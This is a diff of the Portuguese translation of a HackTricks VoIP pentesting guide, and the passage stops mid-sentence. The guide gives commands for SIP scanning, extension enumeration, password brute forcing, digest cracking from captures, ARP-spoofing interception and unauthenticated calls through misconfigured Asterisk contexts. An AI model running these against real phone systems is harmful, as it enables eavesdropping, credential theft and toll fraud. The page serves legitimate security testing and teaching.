**Configuração imediatamente disponível para avaliação de vulnerabilidade e pentesting**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para lhes dar mais tempo para investigar mais a fundo, pop shells e se divertir.
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,22 @@
|
|||
# Pentesting VoIP
|
||||
# Teste de Penetração VoIP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informações básicas sobre VoIP
|
||||
## Informações Básicas sobre VoIP
|
||||
|
||||
Para começar a aprender sobre como o VoIP funciona, verifique:
|
||||
Para começar a aprender como o VoIP funciona, confira:
|
||||
|
||||
{% content-ref url="basic-voip-protocols/" %}
|
||||
[basic-voip-protocols](basic-voip-protocols/)
|
||||
|
@ -22,18 +24,18 @@ Para começar a aprender sobre como o VoIP funciona, verifique:
|
|||
|
||||
## Enumeração VoIP
|
||||
|
||||
### Números de telefone
|
||||
### Números de Telefone
|
||||
|
||||
Um dos primeiros passos que uma Equipe Vermelha pode fazer é procurar números de telefone disponíveis para entrar em contato com a empresa usando ferramentas OSINT, pesquisas no Google ou raspagem das páginas da web.
|
||||
Um dos primeiros passos que uma Equipe de Red pode fazer é procurar números de telefone disponíveis para entrar em contato com a empresa usando ferramentas de OSINT, Pesquisas no Google ou raspando páginas da web.
|
||||
|
||||
Depois de ter os números de telefone, você pode usar serviços online para identificar o operador:
|
||||
Depois de obter os números de telefone, você pode usar serviços online para identificar o operador:
|
||||
|
||||
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
|
||||
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
|
||||
* [https://www.whitepages.com/](https://www.whitepages.com/)
|
||||
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
|
||||
|
||||
Saber se o operador oferece serviços VoIP pode ajudar a identificar se a empresa está usando VoIP... Além disso, é possível que a empresa não tenha contratado serviços VoIP, mas esteja usando cartões PSTN para conectar sua própria PBX VoIP à rede telefônica tradicional.
|
||||
Saber se o operador fornece serviços VoIP pode ajudar a identificar se a empresa está usando VoIP... Além disso, é possível que a empresa não tenha contratado serviços VoIP, mas esteja usando cartões PSTN para conectar seu próprio PBX VoIP à rede telefônica tradicional.
|
||||
|
||||
Coisas como respostas automáticas de música geralmente indicam que o VoIP está sendo usado.
|
||||
|
||||
|
@ -75,14 +77,14 @@ Qualquer outra enumeração de OSINT que ajude a identificar o software VoIP sen
|
|||
|
||||
### Enumeração de Rede
|
||||
|
||||
* **`nmap`** é capaz de escanear serviços UDP, mas devido ao número de serviços UDP sendo escaneados, é muito lento e pode não ser muito preciso com esse tipo de serviço.
|
||||
* **`svmap`** do SIPVicious (`sudo apt install sipvicious`): Localizará serviços SIP na rede indicada.
|
||||
* `svmap` é **fácil de bloquear** porque usa o User-Agent `friendly-scanner`, mas você pode modificar o código em `/usr/share/sipvicious/sipvicious` e alterá-lo.
|
||||
- **`nmap`** é capaz de escanear serviços UDP, mas devido ao número de serviços UDP sendo escaneados, é muito lento e pode não ser muito preciso com esse tipo de serviços.
|
||||
- **`svmap`** do SIPVicious (`sudo apt install sipvicious`): Localizará serviços SIP na rede indicada.
|
||||
- `svmap` é **fácil de bloquear** porque usa o User-Agent `friendly-scanner`, mas você pode modificar o código em `/usr/share/sipvicious/sipvicious` e alterá-lo.
|
||||
```bash
|
||||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
```
|
||||
* **`sipscan.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** O Sipscan é um scanner muito rápido para serviços SIP sobre UDP, TCP ou TLS. Ele utiliza multithread e pode escanear grandes faixas de redes. Permite indicar facilmente um intervalo de portas, escanear tanto TCP quanto UDP, usar outro método (por padrão, usará OPTIONS) e especificar um User-Agent diferente (e mais).
|
||||
* **`sipscan.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Sipscan é um scanner muito rápido para serviços SIP sobre UDP, TCP ou TLS. Ele utiliza multithread e pode escanear grandes faixas de redes. Permite indicar facilmente um intervalo de portas, escanear tanto TCP quanto UDP, usar outro método (por padrão, usará OPTIONS) e especificar um User-Agent diferente (e mais).
|
||||
```bash
|
||||
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
|
||||
|
@ -95,24 +97,22 @@ svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
|||
|
||||
```
|
||||
* **metasploit**:
|
||||
|
||||
O Metasploit é uma poderosa ferramenta de teste de penetração que permite aos hackers explorar vulnerabilidades em sistemas de rede. Ele fornece uma ampla gama de módulos e exploits que podem ser usados para comprometer sistemas VoIP. O Metasploit é amplamente utilizado por profissionais de segurança e hackers éticos para testar a segurança de redes e sistemas.
|
||||
```
|
||||
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
||||
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
||||
```
|
||||
#### Enumeração Extra de Rede
|
||||
#### Enumeração de Rede Adicional
|
||||
|
||||
O PBX também pode estar expondo outros serviços de rede, como:
|
||||
A PBX também pode estar expondo outros serviços de rede, como:
|
||||
|
||||
* **69/UDP (TFTP)**: Atualizações de firmware
|
||||
* **80 (HTTP) / 443 (HTTPS)**: Para gerenciar o dispositivo pela web
|
||||
* **389 (LDAP)**: Alternativa para armazenar informações de usuários
|
||||
* **3306 (MySQL)**: Banco de dados MySQL
|
||||
* **5038 (Manager)**: Permite usar o Asterisk em outras plataformas
|
||||
* **5222 (XMPP)**: Mensagens usando Jabber
|
||||
* **5432 (PostgreSQL)**: Banco de dados PostgreSQL
|
||||
* E outros...
|
||||
- **69/UDP (TFTP)**: Atualizações de firmware
|
||||
- **80 (HTTP) / 443 (HTTPS)**: Para gerenciar o dispositivo pela web
|
||||
- **389 (LDAP)**: Alternativa para armazenar informações dos usuários
|
||||
- **3306 (MySQL)**: Banco de dados MySQL
|
||||
- **5038 (Manager)**: Permite usar o Asterisk em outras plataformas
|
||||
- **5222 (XMPP)**: Mensagens usando Jabber
|
||||
- **5432 (PostgreSQL)**: Banco de dados PostgreSQL
|
||||
- E outros...
|
||||
|
||||
### Enumeração de Métodos
|
||||
|
||||
|
@ -122,13 +122,13 @@ python3 sipenumerate.py -i 10.10.0.10 -r 5080
|
|||
```
|
||||
### Enumeração de Extensões
|
||||
|
||||
As extensões em um sistema PBX (Private Branch Exchange) se referem aos **identificadores internos únicos atribuídos a linhas telefônicas, dispositivos ou usuários individuais** dentro de uma organização ou empresa. As extensões tornam possível **encaminhar chamadas dentro da organização de forma eficiente**, sem a necessidade de números de telefone externos individuais para cada usuário ou dispositivo.
|
||||
As extensões em um sistema PBX (Private Branch Exchange) se referem aos **identificadores internos únicos atribuídos a linhas telefônicas individuais**, dispositivos ou usuários dentro de uma organização ou empresa. As extensões tornam possível **encaminhar chamadas dentro da organização de forma eficiente**, sem a necessidade de números de telefone externos individuais para cada usuário ou dispositivo.
|
||||
|
||||
* **`svwar`** do SIPVicious (`sudo apt install sipvicious`): `svwar` é um scanner de linhas de extensão SIP PBX gratuito. Em conceito, funciona de forma semelhante aos wardialers tradicionais, **adivinhando uma faixa de extensões ou uma lista de extensões fornecida**.
|
||||
* **`svwar`** do SIPVicious (`sudo apt install sipvicious`): `svwar` é um scanner de linhas de extensão SIP PBX gratuito. Em conceito, ele funciona de forma semelhante aos wardialers tradicionais, **adivinhando uma faixa de extensões ou uma lista de extensões fornecida**.
|
||||
```bash
|
||||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||||
```
|
||||
* **`sipextend.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Sipextend identifica extensões em um servidor SIP. Sipextend pode verificar grandes redes e faixas de porta.
|
||||
* **`sipextend.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Sipexten identifica extensões em um servidor SIP. Sipexten pode verificar grandes intervalos de rede e portas.
|
||||
```bash
|
||||
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
|
||||
```
|
||||
|
@ -137,7 +137,7 @@ python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
|
|||
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
||||
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
||||
```
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** é um **enumerador de força bruta de nomes de usuário** do protocolo Inter Asterisk Exchange (IAX). O enumIAX pode operar em dois modos distintos; Adivinhação Sequencial de Nomes de Usuário ou Ataque de Dicionário.
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** é um enumerador de força bruta de nomes de usuário do protocolo Inter Asterisk Exchange. enumIAX pode operar em dois modos distintos; Adivinhação de Nome de Usuário Sequencial ou Ataque de Dicionário.
|
||||
```bash
|
||||
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
||||
enumiax -v -m3 -M3 10.10.0.10
|
||||
|
@ -146,20 +146,20 @@ enumiax -v -m3 -M3 10.10.0.10
|
|||
|
||||
### Força Bruta de Senha
|
||||
|
||||
Ao descobrir o **PBX** e alguns **ramais/nomes de usuário**, uma Equipe Vermelha pode tentar **autenticar-se via método `REGISTER`** em um ramal usando um dicionário de senhas comuns para forçar a autenticação.
|
||||
Após descobrir o **PBX** e alguns **ramais/nomes de usuário**, uma Equipe Vermelha poderia tentar **autenticar via método `REGISTER`** em um ramal usando um dicionário de senhas comuns para forçar a autenticação.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que um **nome de usuário** pode ser o mesmo que o ramal, mas essa prática pode variar dependendo do sistema PBX, sua configuração e as preferências da organização...
|
||||
Observe que um **nome de usuário** pode ser o mesmo que o ramal, mas essa prática pode variar dependendo do sistema PBX, sua configuração e das preferências da organização...
|
||||
|
||||
Se o nome de usuário não for o mesmo que o ramal, você precisará **descobrir o nome de usuário para forçar a autenticação**.
|
||||
Se o nome de usuário não for o mesmo que o ramal, será necessário **descobrir o nome de usuário para forçar a senha**.
|
||||
{% endhint %}
|
||||
|
||||
* **`svcrack`** do SIPVicious (`sudo apt install sipvicious`): O SVCrack permite que você quebre a senha de um nome de usuário/ramal específico em um PBX.
|
||||
* **`svcrack`** do SIPVicious (`sudo apt install sipvicious`): O SVCrack permite que você quebre a senha para um nome de usuário/ramal específico em um PBX.
|
||||
```bash
|
||||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||
```
|
||||
* **`sipcrack.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIP Digest Crack é uma ferramenta para quebrar autenticações de digest dentro do protocolo SIP.
|
||||
* **`sipcrack.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIP Digest Crack é uma ferramenta para quebrar as autenticações de digest dentro do protocolo SIP.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -173,11 +173,11 @@ python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyo
|
|||
|
||||
### Sniffing de VoIP
|
||||
|
||||
Se você encontrar equipamentos de VoIP dentro de uma **rede Wi-Fi aberta**, você pode **capturar todas as informações**. Além disso, se você estiver dentro de uma rede mais fechada (conectada via Ethernet ou Wi-Fi protegida), você pode realizar ataques de **MitM, como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) entre o **PBX e o gateway** para capturar as informações.
|
||||
Se encontrar equipamentos de VoIP dentro de uma **rede Wifi aberta**, você poderá **capturar todas as informações**. Além disso, se estiver em uma rede mais fechada (conectado via Ethernet ou Wifi protegido), poderá realizar **ataques de MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) entre o **PBX e o gateway** para capturar as informações.
|
||||
|
||||
Entre as informações de rede, você pode encontrar **credenciais web** para gerenciar o equipamento, **extensões de usuário**, **nome de usuário**, **endereços IP**, até mesmo **senhas criptografadas** e **pacotes RTP** que você pode reproduzir para **ouvir a conversa**, e muito mais.
|
||||
Entre as informações de rede, é possível encontrar **credenciais web** para gerenciar o equipamento, **extensões de usuário**, **nome de usuário**, **endereços IP**, até mesmo **senhas hash** e **pacotes RTP** que podem ser reproduzidos para **ouvir a conversa**, e mais.
|
||||
|
||||
Para obter essas informações, você pode usar ferramentas como Wireshark, tcpdump... mas uma **ferramenta especialmente criada para capturar conversas de VoIP é** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
Para obter essas informações, você pode usar ferramentas como Wireshark, tcpdump... mas uma **ferramenta especialmente criada para capturar conversas VoIP é** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que se **TLS for usado na comunicação SIP**, você não poderá ver a comunicação SIP em texto claro.\
|
||||
|
@ -186,16 +186,16 @@ O mesmo acontecerá se **SRTP** e **ZRTP** forem usados, **os pacotes RTP não e
|
|||
|
||||
#### Credenciais SIP
|
||||
|
||||
[Verifique este exemplo para entender melhor uma **comunicação SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) para aprender como as **credenciais são enviadas**.
|
||||
[Verifique este exemplo para entender melhor uma **comunicação de registro SIP**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) para aprender como as **credenciais são enviadas**.
|
||||
|
||||
* **`sipdump`** & **`sipcrack`,** parte do **sipcrack** (`apt-get install sipcrack`): Essas ferramentas podem **extrair** de um **pcap** as **autenticações de digest** dentro do protocolo SIP e **forçar a quebra de senha**.
|
||||
* **`sipdump`** & **`sipcrack`,** parte do **sipcrack** (`apt-get install sipcrack`): Essas ferramentas podem **extrair** de um **pcap** as **autenticações digest** dentro do protocolo SIP e **realizar força bruta** nelas.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
```
|
||||
* **`siptshar.py`, `sipdump.py`, `sipcrack.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:**
|
||||
* **SipTshark** extrai dados do protocolo SIP de um arquivo PCAP.
|
||||
* **SipDump** extrai autenticações SIP Digest de um arquivo PCAP.
|
||||
* **SipDump** Extrai autenticações do SIP Digest de um arquivo PCAP.
|
||||
* **SIP Digest Crack** é uma ferramenta para quebrar as autenticações digest dentro do protocolo SIP.
|
||||
```bash
|
||||
python3 siptshark.py -f captura3.pcap [-filter auth]
|
||||
|
@ -205,7 +205,7 @@ python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
|
|||
#### Códigos DTMF
|
||||
|
||||
**Não apenas as credenciais SIP** podem ser encontradas no tráfego de rede, também é possível encontrar códigos DTMF que são usados, por exemplo, para acessar a **caixa postal**.\
|
||||
É possível enviar esses códigos em mensagens SIP **INFO**, em **áudio** ou dentro de pacotes **RTP**. Se os códigos estiverem dentro de pacotes RTP, você pode cortar essa parte da conversa e usar a ferramenta multimo para extraí-los:
|
||||
É possível enviar esses códigos em mensagens **INFO SIP**, em **áudio** ou dentro de **pacotes RTP**. Se os códigos estiverem dentro de pacotes RTP, você pode cortar essa parte da conversa e usar a ferramenta multimo para extraí-los:
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
```
|
||||
|
@ -216,22 +216,22 @@ No Asterisk, é possível permitir uma conexão **de um endereço IP específico
|
|||
host=10.10.10.10
|
||||
host=dynamic
|
||||
```
|
||||
Se um endereço IP for especificado, o host **não precisará enviar solicitações REGISTER** de tempos em tempos (no pacote REGISTER é enviado o tempo de vida, geralmente 30 minutos, o que significa que em outro cenário o telefone precisará se REGISTRAR a cada 30 minutos). No entanto, será necessário ter portas abertas permitindo conexões do servidor VoIP para receber chamadas.
|
||||
Se um endereço IP for especificado, o host **não precisará enviar solicitações REGISTER** de tempos em tempos (no pacote REGISTER é enviado o tempo de vida, geralmente 30min, o que significa que em outro cenário o telefone precisará se REGISTRAR a cada 30 minutos). No entanto, será necessário ter portas abertas permitindo conexões do servidor VoIP para receber chamadas.
|
||||
|
||||
Para definir usuários, eles podem ser definidos como:
|
||||
|
||||
* **`type=user`**: O usuário só pode receber chamadas como usuário.
|
||||
* **`type=friend`**: É possível realizar chamadas como peer e recebê-las como usuário (usado com extensões)
|
||||
* **`type=peer`**: É possível enviar e receber chamadas como peer (SIP-trunks)
|
||||
- **`type=user`**: O usuário só pode receber chamadas como usuário.
|
||||
- **`type=friend`**: É possível realizar chamadas como peer e recebê-las como usuário (usado com ramais)
|
||||
- **`type=peer`**: É possível enviar e receber chamadas como peer (trunks SIP)
|
||||
|
||||
Também é possível estabelecer confiança com a variável insegura:
|
||||
|
||||
* **`insecure=port`**: Permite conexões peer validadas por IP.
|
||||
* **`insecure=invite`**: Não requer autenticação para mensagens INVITE
|
||||
* **`insecure=port,invite`**: Ambos
|
||||
- **`insecure=port`**: Permite conexões de peer validadas por IP.
|
||||
- **`insecure=invite`**: Não requer autenticação para mensagens INVITE
|
||||
- **`insecure=port,invite`**: Ambos
|
||||
|
||||
{% hint style="warning" %}
|
||||
Quando **`type=friend`** é usado, o **valor** da variável **host** **não será usado**, então se um administrador **configurar incorretamente um SIP-trunk** usando esse valor, **qualquer pessoa poderá se conectar a ele**.
|
||||
Quando **`type=friend`** é usado, o **valor** da variável **host** **não será usado**, então se um administrador **configurar incorretamente um tronco SIP** usando esse valor, **qualquer pessoa poderá se conectar a ele**.
|
||||
|
||||
Por exemplo, essa configuração seria vulnerável:\
|
||||
`host=10.10.10.10`\
|
||||
|
@ -239,11 +239,11 @@ Por exemplo, essa configuração seria vulnerável:\
|
|||
`type=friend`
|
||||
{% endhint %}
|
||||
|
||||
### Chamadas Gratuitas / Configurações Incorretas de Contexto do Asterisk
|
||||
### Chamadas Gratuitas / Má Configuração de Contexto no Asterisk
|
||||
|
||||
No Asterisk, um **contexto** é um contêiner ou seção nomeado no plano de discagem que **agrupa extensões, ações e regras relacionadas**. O plano de discagem é o componente central de um sistema Asterisk, pois define **como as chamadas de entrada e saída são tratadas e roteadas**. Os contextos são usados para organizar o plano de discagem, gerenciar controle de acesso e fornecer separação entre diferentes partes do sistema.
|
||||
No Asterisk, um **contexto** é um contêiner ou seção nomeada no plano de discagem que **agrupa ramais, ações e regras relacionadas**. O plano de discagem é o componente central de um sistema Asterisk, pois define **como as chamadas de entrada e saída são tratadas e roteadas**. Os contextos são usados para organizar o plano de discagem, gerenciar controle de acesso e fornecer separação entre diferentes partes do sistema.
|
||||
|
||||
Cada contexto é definido no arquivo de configuração, geralmente no arquivo **`extensions.conf`**. Os contextos são indicados por colchetes, com o nome do contexto entre eles. Por exemplo:
|
||||
Cada contexto é definido no arquivo de configuração, geralmente no arquivo **`extensions.conf`**. Os contextos são indicados por colchetes, com o nome do contexto dentro deles. Por exemplo:
|
||||
```bash
|
||||
csharpCopy code[my_context]
|
||||
```
|
||||
|
@ -254,14 +254,14 @@ exten => 100,1,Answer()
|
|||
exten => 100,n,Playback(welcome)
|
||||
exten => 100,n,Hangup()
|
||||
```
|
||||
Este exemplo demonstra um contexto simples chamado "meu\_contexto" com uma extensão "100". Quando alguém discar 100, a chamada será atendida, uma mensagem de boas-vindas será reproduzida e, em seguida, a chamada será encerrada.
|
||||
Este exemplo demonstra um contexto simples chamado "meu\_contexto" com uma extensão "100". Quando alguém discar 100, a chamada será atendida, uma mensagem de boas-vindas será reproduzida e em seguida a chamada será encerrada.
|
||||
|
||||
Este é **outro contexto** que permite **ligar para qualquer outro número**:
|
||||
```scss
|
||||
[external]
|
||||
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
|
||||
```
|
||||
Se o administrador define o **contexto padrão** como:
|
||||
Se o administrador definir o **contexto padrão** como:
|
||||
```
|
||||
[default]
|
||||
include => my_context
|
||||
|
@ -272,12 +272,12 @@ Qualquer pessoa poderá usar o **servidor para ligar para qualquer outro número
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Além disso, por padrão, o arquivo **`sip.conf`** contém **`allowguest=true`**, então **qualquer** atacante sem autenticação poderá ligar para qualquer outro número.
|
||||
Além disso, por padrão, o arquivo **`sip.conf`** contém **`allowguest=true`**, então **qualquer** atacante **sem autenticação** poderá ligar para qualquer outro número.
|
||||
{% endhint %}
|
||||
|
||||
* **`sipinvite.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** O Sipinvite verifica se um servidor PBX nos permite fazer chamadas sem autenticação. Se o servidor SIP tiver uma configuração incorreta, ele nos permitirá fazer chamadas para números externos. Também pode nos permitir transferir a chamada para um segundo número externo.
|
||||
* **`sipinvite.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Sipinvite verifica se um **servidor PBX nos permite fazer chamadas sem autenticação**. Se o servidor SIP tiver uma configuração incorreta, permitirá que façamos chamadas para números externos. Também pode permitir que transfiramos a chamada para um segundo número externo.
|
||||
|
||||
Por exemplo, se o seu servidor Asterisk tiver uma má configuração de contexto, você pode aceitar solicitações INVITE sem autorização. Nesse caso, um atacante pode fazer chamadas sem saber nenhum usuário/senha.
|
||||
Por exemplo, se o seu servidor Asterisk tiver uma má configuração de contexto, poderá aceitar solicitações INVITE sem autorização. Nesse caso, um atacante pode fazer chamadas sem saber nenhum usuário/senha.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -287,21 +287,19 @@ python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
|
|||
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
|
||||
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
|
||||
```
|
||||
{% endcode %}
|
||||
### Chamadas gratuitas / IVRS mal configurados
|
||||
|
||||
### Chamadas gratuitas / IVRS mal configurado
|
||||
|
||||
IVRS significa **Sistema de Resposta de Voz Interativa**, uma tecnologia de telefonia que permite aos usuários interagir com um sistema informatizado por meio de comandos de voz ou teclas de toque. O IVRS é usado para construir sistemas de **atendimento automático de chamadas** que oferecem uma variedade de funcionalidades, como fornecer informações, encaminhar chamadas e capturar entradas do usuário.
|
||||
IVRS significa **Sistema de Resposta de Voz Interativa**, uma tecnologia de telefonia que permite aos usuários interagir com um sistema informatizado por meio de voz ou entradas de teclas de toque. O IVRS é usado para construir sistemas de **manuseio de chamadas automatizadas** que oferecem uma variedade de funcionalidades, como fornecer informações, encaminhar chamadas e capturar entradas do usuário.
|
||||
|
||||
O IVRS em sistemas VoIP geralmente consiste em:
|
||||
|
||||
1. **Prompts de voz**: Mensagens de áudio pré-gravadas que guiam os usuários pelas opções de menu e instruções do IVR.
|
||||
2. **Sinalização DTMF** (Dual-Tone Multi-Frequency): Entradas de teclas de toque geradas ao pressionar teclas no telefone, que são usadas para navegar pelos menus do IVR e fornecer entrada.
|
||||
3. **Roteamento de chamadas**: Direcionar chamadas para o destino apropriado, como departamentos específicos, agentes ou ramais com base na entrada do usuário.
|
||||
4. **Captura de entrada do usuário**: Coletar informações dos chamadores, como números de conta, IDs de casos ou quaisquer outros dados relevantes.
|
||||
4. **Captura de entrada do usuário**: Coletar informações dos chamadores, como números de conta, IDs de caso ou quaisquer outros dados relevantes.
|
||||
5. **Integração com sistemas externos**: Conectar o sistema IVR a bancos de dados ou outros sistemas de software para acessar ou atualizar informações, realizar ações ou disparar eventos.
|
||||
|
||||
Em um sistema VoIP Asterisk, você pode criar um IVR usando o plano de discagem (arquivo **`extensions.conf`**) e várias aplicações, como `Background()`, `Playback()`, `Read()`, e outras. Essas aplicações ajudam a reproduzir prompts de voz, capturar a entrada do usuário e controlar o fluxo da chamada.
|
||||
Em um sistema VoIP Asterisk, você pode criar um IVR usando o plano de discagem (arquivo **`extensions.conf`**) e vários aplicativos como `Background()`, `Playback()`, `Read()`, e mais. Esses aplicativos ajudam a reproduzir prompts de voz, capturar a entrada do usuário e controlar o fluxo da chamada.
|
||||
|
||||
#### Exemplo de configuração vulnerável
|
||||
```scss
|
||||
|
@ -320,7 +318,7 @@ Usando uma extensão como:
|
|||
```scss
|
||||
exten => _X.,1,Dial(SIP/${EXTEN})
|
||||
```
|
||||
Onde **`${EXTEN}`** é a **extensão** que será chamada, quando a **ext 101 for introduzida**, isso é o que aconteceria:
|
||||
